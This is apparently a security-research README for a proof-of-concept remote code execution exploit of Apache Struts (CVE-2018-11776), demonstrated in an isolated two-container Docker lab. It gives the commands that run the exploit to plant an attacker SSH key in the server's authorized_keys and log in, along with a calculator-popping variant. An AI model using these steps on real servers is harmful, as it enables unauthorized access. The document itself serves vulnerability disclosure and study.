# Remote code execution in Apache Struts (CVE-2018-11776) This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). The vulnerability was fixed in versions 2.3.35 and 2.5.17. To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Struts server and the second is the attacker's computer. The Struts server uses Struts version 2.5.16, which contains the vulnerability. We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed. We have created two versions of the PoC. The first version enables the attacker to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify the PoC to do that. The second version of the PoC pops a calculator. ## Network setup Create a docker network bridge, to simulate a network with two separate computers. ``` docker network create -d bridge --subnet 172.16.0.0/16 struts-demo-network ``` ## Struts server setup Build the docker image: ``` cd struts-server docker build . -t struts-server --build-arg UID=`id -u` ``` Start the container: ``` docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server ``` Note: the `--publish`, `-e`, and `-v` command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator. Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access. ``` ./apache-tomcat-9.0.12/bin/catalina.sh start sudo service ssh start # sudo password is "x" ``` At this point, you can check that Struts is running by visiting [http://127.0.0.1:8080/struts2-showcase](http://127.0.0.1:8080/struts2-showcase) in your browser. (We exposed port 8080 on the docker container.) ## Attacker setup Build the docker image: ``` cd struts-attacker docker build . -t struts-attacker ``` Start the container: ``` docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker ``` Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login. ``` ./src/copykey http://172.16.0.10:8080/struts2-showcase ssh victim@172.16.0.10 ``` We have a shell! Alternatively, you can start a calculator like this: ``` ./src/startcalc http://172.16.0.10:8080/struts2-showcase ```